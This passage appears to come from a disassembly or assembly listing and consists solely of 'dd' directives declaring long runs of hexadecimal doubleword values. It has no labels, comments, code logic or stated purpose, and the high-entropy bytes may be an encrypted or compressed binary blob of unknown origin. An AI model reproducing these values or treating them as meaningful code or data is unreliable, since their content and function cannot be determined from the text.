0FC6125CAh, 1B0B6D37h dd 9D42847Eh, 1F696EBEh, 5B4061C2h, 67EB8EE8h, 40A7961Fh dd 7AAE3508h, 1188B103h, 0A0BC0568h, 2E12214h, 8BA33EB3h dd 0FE842980h, 9501041Fh, 0E91641A9h, 47D5C487h, 0C0D64329h dd 3F58B12Ah, 0D239A200h, 2D7F5A10h, 4B60B28h, 0C8DF1B23h dd 0F4834CE2h, 0D0910E9Eh, 0E8C0EB9Dh, 0E90E8438h, 44B649h dd 6D0293C4h, 0B8FB9AC6h, 0F6912E70h, 0F28B0110h, 8083B65Dh dd 0EFAAC208h, 99429BCh, 9025C0EDh, 8700315Ch, 8015B0E0h dd 574500B3h, 4398CBE6h, 48001A31h, 4F7BFC2Ch, 680FB0h dd 7D13AEE1h, 5CFFECFAh, 37F2EF00h, 6F9F464Dh, 0AA3100D8h dd 39BAED7Ah, 0C7006E09h, 45EC8D2Eh, 0F392BEh, 9F48884Ch dd 9A33DA6Dh, 0CB55B000h, 0E580AD56h, 0A5C2057Ch, 0E86165A2h dd 199E00C5h, 11AA51ECh, 0B5500082h, 0A6D87F14h, 0CF00760Bh dd 0D5630A9Dh, 67FA2Ch, 0C14F7C7Dh, 3DF1D93Eh, 0D6E48C00h dd 0A3599102h, 9DC0049h dd 0D56C168h, 0E3061503h, 58FC6D5Bh, 7F470C1Eh, 6B2D2091h dd 68F79800h, 67FC9D38h, 0D1EA95B9h, 59128455h, 6B9BA037h dd 0EBF625CCh, 7AD34FC0h, 0F0AB2AACh, 311912AFh, 2E91B552h dd 1C8078Ah, 0A2253180h, 3E2BE4h, 0DB117A0Bh, 5859436Ch dd 0EA912C01h, 2983763h, 0F8B26E4h, 0D20188A1h, 8CCC9041h dd 4F892EE3h, 609886E4h, 0DF74156Ch, 6D000838h, 67FE2ED7h dd 93D27C0h, 0F92CC436h, 5F51D676h, 82724h, 0AC41D407h dd 107AD505h, 8AFC78E0h, 27BD5E05h, 9AEC4E7Eh, 0ED748D00h dd 0DF7D24BFh, 0AC32FC05h, 8904B039h, 0CB409BA3h, 0EA986248h dd 0CA9A4606h, 0F614E0h, 78F49454h, 0B5B6A093h, 48EF8200h dd 336937BAh, 7CE700DDh, 1644452Fh, 4D00D47Bh, 0CB6A961Fh dd 77F5832Ah, 0A2FC0007h, 7F0EE149h, 0C00B352h, 0AB6BB548h dd 0C24CDFh, 0FA902154h, 0D68B7077h, 5069DB25h, 95FE1E59h dd 0ED0D005Dh, 646B5522h, 98ABD00h, 0FB943BD6h, 2CB3125Ah dd 22B2ECFDh, 0E78801DAh, 0DD78A851h, 593CECF3h, 0DC09CF0Ah dd 0FE08EED5h, 0EC62924Eh, 0BF5EC063h, 90A2D4D5h, 0BDF80BB5h dd 9603C573h, 4490E669h, 0AD0407DDh, 2C9EA58Fh, 87F520BAh dd 0D117BB5Ah, 28F41D8Bh, 2BD22E35h, 0CE220709h, 9D24416Ch dd 0C6D2206Bh, 73B37D00h, 0DFE12F88h, 0C96650F6h, 480144E4h dd 4E7C2500h, 60F124B3h, 362000B9h, 0D66C0735h, 0C7603826h dd 553F126Bh, 5AE013Ch, 0EC5D4BD3h, 371A80F1h, 0BB1CC364h dd 7B1BF8ABh, 0E56060AEh, 0F87B11A4h, 0A577C504h, 3DD3AFE0h dd 313A2448h, 0BAD30624h, 3701E533h, 0B9548304h, 0C4A57912h dd 31C201D0h, 55F0BC8Fh, 97E03000h, 711D9F89h, 0C8AF40D6h dd 0C09CA383h, 2AF08BA0h, 0AA01ED56h, 0CE679A29h, 57E08E27h dd 84EF0369h, 53FC47A2h, 0BA49BADCh, 5CB40064h, 170D24D9h dd 0E42F41C6h, 5B4CDE53h, 16488Fh, 61D2A685h, 439BF3h dd 24784CBh, 0AC342DECh, 0A338D900h, 790E72F5h, 0BCE7247Ah dd 0C3C00B8h, 0D52575B1h, 2F47070Fh, 0B01BC08Eh, 24439CB4h dd 68C3F0h, 8C33CEFCh, 5704E11Ch, 1A245FD7h, 867426C0h dd 602FCB15h, 0B04CF9F0h, 0B73E00A9h, 0D75AF087h, 0FDB30949h dd 67542BCEh, 1D002A24h, 0CF640333h, 0C50502D0h, 47D71FB5h dd 2A3B0449h, 0F80C538Ah, 0E411990Ah, 4271101h, 30A18F7Ch dd 7F6D1786h, 590B0D0Eh, 0D82BFE86h, 0FA582885h, 502302AFh dd 65F222A9h, 0C038B064h, 0A1120C90h, 0ECC8E9h, 5FE27819h dd 258F5CCFh, 2E1CD006h, 9820B1BDh, 0AA9400CFh, 65530391h dd 18C9B0F4h, 0E851033Fh, 0F0294A77h, 5898049Ah, 30E99A09h dd 787B81E6h, 25A0198Ah, 0D5023EF0h, 31C973Ah, 1FB604D2h dd 250CE908h, 605CD96Ch, 793B1904h, 40B50E00h, 0E2895C56h dd 24A53016h, 34BDE922h, 44A1024Ch, 320060EBh, 863FF097h dd 98CD7CB8h, 5BE2008Ah, 7821D167h, 0C518AF4Ah, 9455E7Fh dd 64A17036h, 0BA768B7Dh, 300C923Ch, 0F817AD1Eh, 0EE708425h dd 0E0007EFFh, 0D85F06D9h, 780D0CA8h, 9310A1D1h, 82EDDB28h dd 0A23D6B00h, 0E37A9AFBh, 8FCD02EEh, 2FB8EA79h, 24BD1140h dd 18DC8303h, 0D47BBB85h, 0F8EB12BFh, 0D1BF05B1h, 0F7F80D60h dd 9E961EC0h, 23B1A08h, 99411FE8h, 6B0CA540h, 0D3DC4h dd 1F68D37Ah, 857D0511h, 0E901EF00h, 723B8BC1h, 0FC9701C9h dd 0B0451812h, 0A9217E3Eh, 7700CCEEh, 1CF09FCEh, 0A84F2200h dd 0C156F121h, 4BEA071Ah, 278CD8A4h, 0CF406E0Fh, 5AF5FA4Ch dd 32D764Ch, 7DAB75D0h, 0C425B24Dh, 0FF820059h, 0E4D2B19Fh dd 90F2773h, 96EBBE3Bh, 2210AF07h, 416D3E6h, 9E8829FCh dd 9131EA9Dh, 0BC24B239h, 51C231B0h, 0DAC99C2Dh, 990CF1C0h dd 0CBFAA300h, 173AAF6Ah, 2D221401h, 0F927D28Ch, 451DA852h dd 0C48144C2h, 0BBA56F6Dh, 0A40FC72Eh, 26F4F9C3h, 0D825D239h dd 19FB2FB6h, 50D0D6C5h, 9BE04889h, 142D6B65h, 0C25E7A05h dd 8412CAAh, 225DF6ECh, 2C3C28CBh, 0BD005524h, 1AB2699Bh dd 0F09003B9h, 0C1810020h, 47D5615h, 0CAF1E929h, 685D0880h dd 45CD213Bh, 4ABE6024h, 0EC81588Ah, 9C713742h, 7B033D1Ch dd 408F53EBh, 9D68D308h, 0F1B10A17h, 7C836618h, 5764A2C0h dd 770E1AFh, 0FC5171E9h, 7E9500BBh, 308903h, 0DFE812A7h dd 2B92B834h, 0B8C01BBFh, 16586Ch, 29691EC4h, 1A9ECECBh dd 6E02B800h, 0AF4D2C2Ah, 1C70E63Fh, 40146656h, 0BFE5233h dd 44007557h, 0C22AC537h, 0FC23B347h, 303E000Ch, 72287183h dd 8B00FF1Dh, 4CAEDE06h, 74675Dh, 96980FA3h, 0BDBC0857h dd 3A7B5100h, 0B013D3D7h, 675C3A17h, 9F4F900h, 4BF05F16h dd 0F1A91214h, 0E40E01AFh, 5B44825h, 12D8B220h, 0DB600CD2h dd 0C8FD80C0h, 16FE6864h, 8415BD89h, 0D8B4ECD4h, 811DCD18h dd 151C2AB9h, 49DB8180h, 250F3AC4h, 48478D21h, 286019E4h dd 8E0CF50Eh, 50F8666Eh, 0E20C4341h, 16A3016h, 4C8BFC28h dd 0DC6DFEBFh, 0DF6D850Fh, 0F5BA8023h, 0F435E47h, 0F01E183h dd 0C4A2FCD3h, 5E501921h, 8C1CFCh, 6C5C5793h, 37FF4D79h dd 0B523740Bh, 24A54255h, 8053053Fh, 619A6ECAh, 459B604Fh dd 0C9EF2982h, 65BD0B60h, 7AB5204Fh, 0FC5D04C5h, 68C1C81Bh dd 2AF9CC30h, 0C17562BEh, 8F995A8h, 31021EE5h, 890B0D9Dh dd 0A594F60Ch, 0BEC0F5CDh, 15544DECh, 338BD7D1h, 90CE0F3Bh dd 9D2960DDh, 9541DD9Eh, 61021F99h, 0B8CBF796h, 0D1615255h dd 0AAD2CDA1h, 6E6A6FB1h, 0F48E0FC0h, 4A89CA9Eh, 0A568CCA0h dd 0CF38F375h, 566D3220h, 4F95091Ch, 7002803h, 6178B4F1h dd 35BFDBAEh, 5E51008Bh, 0FB3A89BDh, 957DD505h, 0CA04F566h dd 0CF9E2061h, 0E2F02BC2h, 0C537107Fh, 0ABE63F7Ah, 99C95206h dd 0D94E6454h, 0A36F75C4h, 8CBF400h, 0CD48028h, 0F81790BDh dd 4251005Bh, 0E395A8B0h, 530A4581h, 8B3572B9h, 740A4602h dd 550940EBh, 79278A22h, 4E9C209h, 2B27F9B9h, 7997AABh dd 0D84E62Dh, 9D16077Bh, 4241438Bh, 0EC568378h, 13CEB8F0h dd 0F684434Bh, 84095848h, 0FF55E080h, 24076808h, 0E8372D22h dd 0B719FD02h, 407D5682h, 37CCFC59h, 6BFA3B00h, 6DCF818Dh dd 0EA7C4A51h, 534D2CC9h, 260E086Bh, 2BB50128h, 0C096CD7Eh dd 8C0F2038h, 0F597899Ch, 255AD6C6h, 415B14F1h, 742FE0D3h dd 0FCD09BEh, 40D8C0BFh, 0DA20F6B4h, 0BCDB5C82h, 0C9820072h dd 3E269Ah, 7F8229B8h, 35D8D89h, 0D913B93h, 0C7806004h dd 55DC324h, 0F3DB5D84h, 7AEC5B8Eh, 3AC901D3h, 0DF58D01h dd 95303F4Ch, 91FBD5Dh, 9EF9B4C8h, 0FAE7000h, 17ADEAh dd 7B47429Eh, 36C3EF2h, 0D48D4990h, 716508E0h, 8DB05038h dd 0D81441B5h, 3CB2CD85h, 9DBEC776h, 701D5BE9h, 0A6E2C9A2h dd 5711D101h, 0BF66601Ah, 58153F0h, 3494F9C2h, 0FBCB0E51h dd 0E019B677h, 1B59FDEh, 0C66AC7FDh, 100CE8C8h, 66D1D5h dd 0F7C10DC2h, 0C75CA0CCh, 0B503D305h, 48BD10A9h, 4FD59513h dd 6149EB28h, 4BC4668Ah, 0A4704853h, 2C675E3h, 4A1307F9h dd 0AEC1F5B7h, 20BA150Bh, 0E6C739B7h, 30FADE17h, 0C1A49AFEh dd 6074CD75h, 14F2F0FCh, 0E7095CA3h, 6187924Ah, 73C1FAE1h dd 301DB283h, 8A005BBBh, 0A202C086h, 2EF9D11Eh, 47BE9529h dd 7D5A6B89h, 73C08B25h, 6D7E70E4h, 0CE17D3B0h, 8EFBCAD6h dd 0FF38CB9Ch, 3864746Fh dd 0E7A0612Fh, 6E6B8410h, 0BDC80028h, 89FD2F43h, 6BBC987Ah dd 0F876C2CFh, 0E3855BDCh, 0C781002Ch, 131CBDBCh, 0DB6F49E8h dd 169C3326h, 0C5D4F51Eh, 20D1730Eh, 0DE68003h, 52E8802Fh dd 0B5B93BC3h, 60C4EF7Ah, 238077A8h, 3C200EEDh, 0E5D53300h dd 0FA13F6Dh, 61CE30B7h, 705D162h, 8004B7B5h, 592C64BCh dd 84013AB8h, 0E8FC7361h, 0DE6F0708h, 787380BCh, 0C4E8EDADh dd 712B5A0h, 45620B56h, 0FA036B23h, 0CBA6A8D5h, 4A712A32h dd 0DC6E5E15h, 0C03B5500h, 28939761h, 0B9600156h, 1CA4E5E2h dd 3601D866h, 331659FEh, 2347A18Dh, 0B83993E8h, 0CE57C10h dd 0DB29D36Eh, 8695996h, 6B7A2Dh, 122C875Eh, 731E74CFh dd 186DF403h, 0A8252770h, 0B9567Fh, 5BFD2150h, 60E8595Eh dd 0A0F65FD6h, 0CE43E6E0h, 90C46474h, 0F9031351h, 0A9A534E8h dd 17E9E8E4h, 0FF02D359h, 62885489h, 0FC1B2639h, 99BB5652h dd 501380F3h, 7E9E1531h, 0A7A9180h, 0C1B7D970h, 0E8002D9Bh dd 1DB505B6h, 81199178h, 98345203h, 0A48B83D1h, 22761AF5h dd 0E16BBEC0h, 6E4E009Ah, 5E638A26h, 0AB1A359Fh, 8D342DBFh dd 1E488DD3h, 0F25504D9h, 0C277C908h, 39FCCB37h, 2B0ECD0Ch dd 0BBB7D25Bh, 2DB0DAE6h, 0D562D89Eh, 0D4124D7Eh, 0C80DF4BDh dd 8F14E81Ch, 56F1AC98h, 0C29307C5h, 6EAA5D8h, 0E55E098Bh dd 0C1205038h, 4DB5F61Dh, 0E80A8CCDh, 0F6DE04D8h, 0BF0041F4h dd 296A3D63h, 990599B5h, 2D310BB8h, 0A1F4E9D6h, 76FE8AD6h dd 34F3C0B8h, 1562C13Bh, 1F046962h, 0C7801B11h, 4D16F506h dd 11A4E612h, 52ED0F0Fh, 0E0BB3E28h, 0FEDC0EB7h, 0D100455Ch dd 79A60EBh, 0A0E87A2Ch, 0F4122Eh, 0EE524D4Ah, 64BA9230h dd 8092CEA2h, 0E9E1B960h, 25EC7F64h, 917BBFh, 6CE9C0F3h dd 0D8DFE814h, 2B116C3Dh, 2132D8A4h, 2009FD0Ah, 5E66A5DCh dd 28DE2401h, 0C0E8D7F1h, 6D323FB1h, 0B2FF0521h, 0CA8E005Fh dd 78F52872h, 945A00CFh, 698A042Fh, 6A9A5F44h, 0C124159Ch dd 70E504DEh, 0AE4E622Ah, 8DB0710Dh, 0B6875468h, 0AABFE1D8h dd 1D8D2EB2h, 8B37217Fh, 0D16E3BC3h, 0C453DA01h, 0B88A0F33h dd 61C44F19h, 0E25F5BCh, 0BD8AF879h, 0C0A7E659h, 0D60C8121h dd 0B6BB335h, 0A0498529h, 565093BDh, 0F1C407BEh, 925F784Bh dd 0BA55CA8Bh, 0D473D6EEh, 60CCD32Dh, 4185B5DDh, 6101D432h dd 99D0B16h, 5B2952FDh, 1814D18Dh, 0D980026Fh, 0C1958D5Eh dd 893A3081h, 0F231Ah, 6FA8AA41h, 0E8CDA1h, 79C5AD80h dd 891CBFD4h, 0DCDB425Ah, 2A80F0DEh, 4B2DDC92h, 0F9861143h dd 0EC3BA640h, 9F196418h, 0D89C1628h, 0BC1B4149h, 458D15B2h dd 0B7996BDEh, 0A313EEDh, 37074574h, 39DD172Ch, 6BF5CFFFh dd 707B7B84h, 9F82620h, 13A58514h, 17DAD360h, 0D3DB5383h dd 0C9BF0FF8h, 42C5CAC9h, 66B7DF9Dh, 0A9BA0900h, 6494AF4Dh dd 400F90E2h, 52302E58h, 342D00D3h, 6AD730Dh, 0FD240733h dd 0D6602111h, 689537h, 92254A69h, 8DB2705Dh, 5EC76215h dd 0F5CF34DEh, 1DB820EDh, 30D81300h, 0E9A5E1DCh, 0D5F8C4DFh dd 3B0C121Fh, 68168F9h, 0FEDA87C6h, 57957137h, 0FF80C035h dd 0FAE7B94Eh, 0CD8D197Fh, 6F01707Ch, 92A9E913h, 24BA8DB8h dd 0AEF006CDh, 7D7BA3A5h, 45CDC70h, 86F23323h, 0DA4C231h dd 4105A80Ch, 0A2243E14h, 6F8356C0h, 0CD6C9D92h, 0CC0786D2h dd 8E6D38FAh, 106E7Eh, 50E7FF7Dh, 580F30A0h, 0AC92108Eh dd 5421C014h, 0F1CF55h, 14AEA7ACh, 0BA31EF41h, 0C4E5C4BDh dd 2D15BEh, 1EB96651h, 0A95F63FFh, 0A6AEF38Bh, 99798893h dd 4051B530h, 0F45AE90Ch, 1C238E3Eh, 1D1F4B1Fh, 8BA980C0h dd 0BC6A1846h, 6A01DE2Eh, 4C097970h, 0DF7056C0h, 7BE41A01h dd 0C6DE5459h, 75E401DCh, 0F517DA4Bh, 0ACC642EDh, 0BA32155h dd 965C9BDh, 0F6FBA2Bh, 8011521Ch, 0FA5178Ah, 0EA9D9529h dd 0C5B46039h, 4F12B712h, 0A04DB64Ah, 1A174EE7h, 89BC3749h dd 108157DAh, 69C58A5Eh, 84B8A0h, 7F99A25Fh, 0B5B3E6D2h dd 73860F24h, 7A6258h, 145F26FDh, 59123E40h, 0B37BB600h dd 0A406C4B8h, 8B411231h, 0B8D4EDC0h, 0A30D0164h, 0AB588DA0h dd 5BC42B50h, 0AAA44FF7h, 38A8EBB9h, 0DFEE4F87h, 4BD36D2Bh dd 98C4B970h, 14872C01h, 18850BFEh, 3A57EA4Ah, 50ED732Eh dd 40015F32h, 7753DBD3h, 8C3A90D1h, 6700C6FCh, 1BEA1530h dd 7FBFDC52h, 382A246Ch, 24040B15h, 97007DBh, 788B001Bh dd 685C3395h, 0CF3580A6h, 87A64E36h, 0E3CC80E5h, 293FC2AAh dd 0BC791454h, 0C43D2DCDh, 401F94CCh, 7D98DE54h, 0A85DFA05h dd 0A501FC58h, 60B3E4Ch, 82DDDB3Ah, 55B0E9CCh, 2340AC76h dd 9932B1BDh, 60391E05h, 254A897Ch, 126259F3h, 76091391h dd 37E740C0h, 88F294ECh, 9C183900h, 9DF1CEA6h, 60801485h dd 457FD7D9h, 96C9E012h, 701E3F7Bh, 0C600A02Fh, 58729AFDh dd 1C1F1F46h, 0EB8AB40Ch, 54EA545Ah, 1215DC8Bh, 56CDE7h dd 0EF8239F2h, 943AA8h, 871C084Fh, 92E00A8Ah, 0BFB04A0Eh dd 0C2966B62h, 0E55D6DA8h, 802EE821h, 711A1B32h, 81A00147h dd 0F88AD364h, 87DC2B5Fh, 2900EBE1h, 0D3B4A1B5h, 7A658D1Ch dd 0CB81008Dh, 52CCADE5h, 93B4D1FFh, 41EFEDCh, 0D88AAA4Eh dd 22B9AEF9h, 6A8B44C8h, 0CE714D02h, 308B7321h, 0F9E240C9h dd 80380F50h, 44604F0Ah, 0AB30956h, 0FC90A7C6h, 7910887h dd 40BA9D9Dh, 0EA525E9h, 56629179h, 6C900B3Eh, 4100F5E3h dd 0D014EFFEh, 92E6E86h, 7E3EF4EEh, 0E4DC9576h, 0CDDF1237h dd 3FBC02C6h, 41560A84h, 1AD31CDEh, 0B1C78039h, 0DFA11173h dd 48EF8101h, 503F4F89h, 29001A23h, 79440BB6h, 0AA2537B5h dd 5A75F0CEh, 0BFDAA45Bh, 7595837Fh, 7E55B71Ah, 0A8246C91h dd 5BA74C4Bh, 4DACE84Dh, 0F902C00h, 0FF6AD8BFh, 20049860h dd 57090D31h, 186158F5h, 0FCAAF0h, 0E5DEEB37h, 3B94B6B8h dd 4DF86100h, 783BD88h, 0B5FF120Dh, 0C052A985h, 748A71E7h dd 9037006Bh, 0CF4ABBB8h, 0B09B260h, 361CB8Bh, 102B8914h dd 4C011A39h, 0CF8101ADh, 0B05F0A5Ch, 7B0F3426h, 77C0ABA5h dd 8D0970E6h, 280C2120h, 4AC71E4h, 15B501DFh, 7A33AA1Fh dd 604103ECh, 241958Bh, 933A754Ch, 0F38CE0FDh, 0C801B636h dd 6AC2F781h, 9E3C679Bh, 0CF071C91h, 40C7487Fh, 8BE4B8D3h dd 8D89C117h, 0B029C0F4h, 0AC204AE4h, 0F2BAD2DCh, 0B7247657h dd 251292CBh, 14E566ABh, 2B801970h, 8124B1C8h, 0CC0212B1h dd 86E5307Dh, 0BB0EF4Bh, 0D1B18325h, 7A9AF4BBh, 1E25345Fh dd 60B54F07h, 854682BBh, 5512C6C1h, 0C31C261h, 2C8D66E9h dd 0C310D4DFh, 22F98A10h, 0A8D03B14h, 897E0E22h, 2EA4294Eh dd 0E3808839h, 2E8C854Fh, 4B19F029h, 84908C30h, 0DC0F14FDh dd 18A58AD9h, 0D781FE00h, 155F2E74h, 58958911h, 14ED9D0Dh dd 8D20C273h, 4EC417B5h, 0C0B99B0Ah, 29FC2741h, 0ECA0BD9Dh dd 0BEE1A9BBh, 1216635Ah, 6EA63895h, 9AFF3AF0h, 6547C05h dd 0E9307FB4h, 2400D5Bh, 8CB9A531h, 0B284EEBBh, 5CF84901h dd 1546D640h, 3ECBE01h, 0A50F959Dh, 3B8BF046h, 0DECECAB9h dd 2DF581C4h, 0CA449EF6h, 1FEA54EBh, 9FA8DB3Eh, 6EFC4AF4h dd 329300B6h, 8AAEC550h, 0FCD7007Bh, 4094BB66h, 7D9BC02Bh dd 4C548778h, 0A101A5E3h, 8DDF80D7h, 4471C2BAh, 61816F1h dd 0ADCB3603h, 1D1C233h dd 0E983D03Eh, 26F47504h, 1FBCF014h, 0DC2B0472h, 0EC4D8E92h dd 0FED9404Dh, 2D880D35h, 28F55504h, 0D96A0712h, 0F35F691Ah dd 0A7F670ABh, 0A8640804h, 0DD81FE8Ah, 0DE2F101Dh, 0B1FD8117h dd 0EC6C7409h, 407BA3D4h, 52726012h, 6C596131h, 87070FADh dd 0A1C28750h, 0BCC10318h, 0ADAB7408h, 5058193Bh, 4E04AE29h dd 9454FA3Ah, 1B794281h, 114D5B02h, 0BC6D50E1h, 20958960h dd 0D7ED078Dh, 61864BDDh, 0E29B282h, 11087C09h, 9B8343Ch dd 0DDB104BBh, 0FA061620h, 0AD0C4B9Bh, 0D746EB85h, 0FF9C7B0Ch dd 0F3F562E1h, 5219206h, 4548933h, 0C8D0E95Bh, 0B55E14D9h dd 1882D76h, 0FDD34210h, 0F6A2A80Ch, 78910976h, 0D0530ABh dd 970AE17h, 0C56DDh, 0D26CFF3Ch, 0ED9E28C5h, 0D3E5DB01h dd 5BB3CF80h, 0B0034C48h, 95C074A7h, 23135DBDh, 0F24F65F8h dd 0E1B21E30h, 801526C0h, 0D2E350h, 0D338DA82h, 9D5369F3h dd 0BF605F01h, 1AAB77C7h, 0BE6D3E20h, 0D98C8376h, 3CA9501h dd 4E18001h, 803DDB2Ah, 741C27A1h, 67971795h, 0C18D410Bh dd 41C90A1Bh, 60102CAh, 2A092084h, 1D67F098h, 0FD64330Dh dd 66F60ED4h, 90F530E0h, 0B4B2964Ah, 0F5499879h, 48D3A630h dd 0DF3CDB6Dh, 13F58463h, 0FA41F77Dh, 7CE3B49Dh, 963E6803h dd 34C853ACh, 953BC124h, 27E6CAB3h, 0D4B7B6E0h, 80800799h dd 93E39F1Ch, 5EDCB854h, 7159A8CBh, 0F94EA0B0h, 0D18BEBC2h dd 858901BFh, 7C0AADDFh, 0DD6BC045h, 0A96FE0h, 83AE4A8h dd 511CF201h, 0F541D09h, 105B518Bh, 0C781808Ch, 91244B4h dd 1EEE97Eh, 0D19F493Dh, 10602D7Eh, 0F0AD46Eh, 0E432BF8Ah dd 91629C0h, 0ED02E973h, 0DCA483ACh, 85DC6015h, 7AD0D6D7h dd 0FE661214h, 81C0D1FCh, 3F6E54CBh, 0BD891C09h, 0C76A2421h dd 70AEF8AFh, 48DC2D9Ch, 6F135ABFh, 65E888EAh, 629A0D0Fh dd 69A6201Eh, 0AAD0C8h, 5B9F4491h, 0B58BD5DEh, 83E3DB6Bh dd 12C13D54h, 0EB2BCDF8h, 0B1F07BB6h, 7009913Eh, 2EB9426h dd 0A237564h, 7A5E0772h, 0C20B6789h, 0B2451019h, 9065601Ch dd 2370F8h, 0E7EF8767h, 5ED67280h, 615F5100h, 5DD5CA81h dd 0C47D7762h, 2204566h, 0F3044689h, 4DAA7005h, 0D888B205h dd 94C0740Fh, 9696A979h, 8BBA4053h, 62077AB9h, 50B7DC3Eh dd 0A5968123h, 0FC411DA3h, 129A2AC2h, 312620B5h, 4094E59Dh dd 84056812h, 4FECCB62h, 0BCE6AE04h, 0E061F634h, 9BCDE50h dd 0F58D2980h, 0A49BFA5Fh, 7FB700CBh, 505F5790h, 4E1EBEBBh dd 4D65561Ah, 3997C0DFh, 89B117Dh, 90372Dh, 33611764h dd 295AD59Dh, 4BCD9494h, 187B3Fh, 0F9FA91E8h, 2417B8Ch dd 0BD036684h, 0F8C41F85h, 0F8648F8Ah, 0A0A34158h, 39B88EBh dd 0D992E96Eh, 99C8B860h, 0FA4F77D6h, 0B75BB4B0h, 1D44F46Dh dd 0F4951B60h, 1CC77F00h, 94700F14h, 0C302450h, 0C3441CE7h dd 10E8C101h, 2700ED6h, 3254C7Eh, 0E7912158h, 36BB36EBh dd 3D8764C0h, 501BC6C2h, 21286829h, 13581918h, 1B57A101h dd 27797E25h, 0C470C2F3h, 79D1059Eh, 8E384378h, 0C01D88E7h dd 338349EFh, 0D00BC4ECh, 94A04096h, 0B3852E67h, 5A54A3B3h dd 42D0C460h, 2C1DF97Dh, 8B5BBF0Fh, 208FB464h, 4717B35h dd 14077DC2h, 7B2769FFh, 740C78B1h, 0CBC00502h, 0E256BCBBh dd 29BC82FCh, 13147221h, 81D4DEFh, 0FC89D3EAh, 3974F4C7h dd 86E82D59h, 0CCFFDC09h, 0E1515DA8h, 61605702h, 667B625Bh dd 12DA0339h, 9E29BC7Dh, 8D18C098h, 0B6E883E6h, 15AFB404h dd 20FF505Bh, 0A78D0981h, 86C9E900h, 55BD9245h, 7BED2D3Eh dd 78603E0Dh, 0D6A44201h, 511195A8h, 89AB4B02h, 3F810D32h dd 0BE006C6Eh, 8B3BD6B5h, 4EB079B3h, 5812A120h, 0B91FE256h dd 57B93EDh, 0AFC4863Eh, 9303057Bh, 959FFE71h, 8B5EA16h dd 859D2DADh, 827F37F0h, 7C40806Dh, 0D527784Bh, 0D7543ADCh dd 0DC0099B5h, 9A5EA4F5h, 0A18C5815h, 5E236510h, 754139F1h dd 89000E19h, 22932050h, 1601AF78h, 4533F4Fh, 16C17047h dd 810554A9h, 0EB165EBh, 0A716B8A6h, 0C6A8A243h, 511100D3h dd 0AE201038h, 0E5B0B83Fh, 5AD9E330h, 8B05830Fh, 8DF78009h dd 97D31475h, 2F0EC8B5h, 0DE1220BBh, 0BBF0D88h, 6787BA18h dd 0ED97E1C6h, 0E4DAC02Fh, 0E9FE602Ch, 6B05627Ah, 0C9BD293Bh dd 176106F0h, 41AB396h, 420A8A42h, 0E35E5760h, 285A844Bh dd 0DCCEF6h, 56F7FB0Ch, 0E4C87D46h, 131B5A2Fh, 52B7D825h dd 0E8902820h, 1FFF0F3Fh, 6F60175Fh, 64AE3769h, 41B359F1h dd 41FB930h, 0F8099209h, 0ADB797EAh, 0C8E29700h, 13ADA083h dd 0C1CBB5E5h, 214BD3Eh, 0A6F2E8h, 0B46A6D1Eh, 3B69CB23h dd 3714A413h, 12A52204h, 4FE15A09h, 7219F6C1h, 0C07A9E3Bh dd 2CE70B87h, 0D4EA5072h, 6E03458Fh, 12FB55C5h, 0E0A2F651h dd 130F2B43h, 0E394A321h, 12B1483Dh, 4BB61E41h, 0CCC21F00h dd 750FBFBDh, 0B3980400h, 1BD07FA7h, 59EBF8E0h, 17B85AFCh dd 42E8198Ch, 47C25C21h, 0BE1F15EFh, 10251F7Ah, 2B821271h dd 0C72C61BDh, 58AF2BAFh, 0D7728072h, 0D545EF25h, 327D144h dd 0A0CF52BDh, 83286507h, 0AD5408FCh, 60F52F99h, 9A9A6917h dd 3D9379Dh, 0A26063B4h, 76F0DFE0h, 0BD0BB504h, 0C60D0639h dd 0C5C83F2Ah, 19E0074h, 9C788CA8h, 0F7004C06h, 0F133A71h dd 16555E79h, 0A830E6D1h, 8E51257Eh, 0A6E717B2h, 425C98B2h dd 2410FD08h, 23CB00A2h, 0F279E949h, 49B3FF71h, 4EDB378h dd 958D37DEh, 7287F876h, 0E81AC148h, 66018C1Ah, 2C0CE625h dd 0B28B15E1h, 0A1E808D5h, 2820FC1h, 0D71A25AFh, 82D7F5BAh dd 5D04ADB7h, 316050DCh, 3B38295h, 0F906191h, 1B7A0287h dd 0B73E50FAh, 9D6E4E92h, 0E7395100h, 2C0F807Ah, 0D7C01E9Eh dd 4E439E56h, 9674DE3Ch, 0B1CFC200h, 0B8D8464Bh, 0AFC19639h dd 42E26E90h, 9316630Bh, 40D0EFB9h, 0FCEF96B9h, 0FA118A17h dd 2DBDA302h, 61B39005h, 250B764Fh, 0A1E28CB3h, 0AD030CE4h dd 0AEA15E2Dh, 0DD308F2Eh, 24BC085h, 0D8B70F47h, 0E8C0905Bh dd 503CD969h, 3797F88Bh, 39DC0063h, 0F552B1C4h, 5AE842C9h dd 0F3D400D5h, 0C2DF4618h, 0CA13480Ch, 100B9ECh, 0AB744A3Eh dd 6A0A95Ch, 6ABB5F00h, 7745381Dh, 0F47E5627h, 27265501h dd 36162C4Bh, 0A100DA33h, 10AB984Ch, 0A00C7DDh, 7CC94F3Bh dd 2544E1EDh, 9BE6FAEFh, 0F4FD9095h, 0D23800F3h, 2262F659h dd 97099B6Fh, 5EAFCA1Dh, 1C77CA4Ah, 9C98600Dh, 618129E2h dd 0FFB6312Fh, 6F882BD1h, 2702008Fh, 6EEEC8E7h, 0B507EC86h dd 0CF5B1ECCh, 42F5EAC1h, 282FF1E9h, 2DE1B2A7h, 0BE8CCh dd 202FF0AEh, 58BB4897h, 13DB1C05h, 0E509CDB3h, 0C017ED02h dd 4FB4969Ch, 0A9C82800h, 90F9E203h, 9ABF0160h, 61693102h dd 3C08DC50h, 4B44C13Fh, 213CE86Eh, 0E04E3409h, 2CB30E4Eh dd 0F92058h, 73CB3D0Ah, 820FC6B3h, 0DA022DBBh, 740D1AE9h dd 4F6B5815h, 25BD3180h, 0C6DD2245h, 2E530E17h, 0F8075639h dd 8B2C70E2h, 99975BFBh, 0BE2E29F9h, 2050F34Dh, 0E6C4122Eh dd 0E78101C0h, 0D58051Ah, 0B8C6642Fh, 4DF9808Eh, 0F450667Fh dd 70C1009Ch, 9ECC3576h, 8B161069h, 34EDB1DFh, 58C16ACh dd 6AC07292h, 9B8E14FFh, 5D1B509h, 8740A36Fh, 19E9C70h dd 0B1B97B9h, 721459Dh, 286ABFF0h, 5B7A25A2h, 0F16FD0ECh dd 25CB3E45h, 0A7B05C26h dd 9000DD64h, 0D3738BA4h, 17DF939Ch, 0A0A9BD89h, 0E6265BA3h dd 8C038270h, 1271E456h, 0F322B91Eh, 2BF22D4h, 0CCD5D381h dd 0C55E68B8h, 0E989661Fh, 2CC379E7h, 480311AFh, 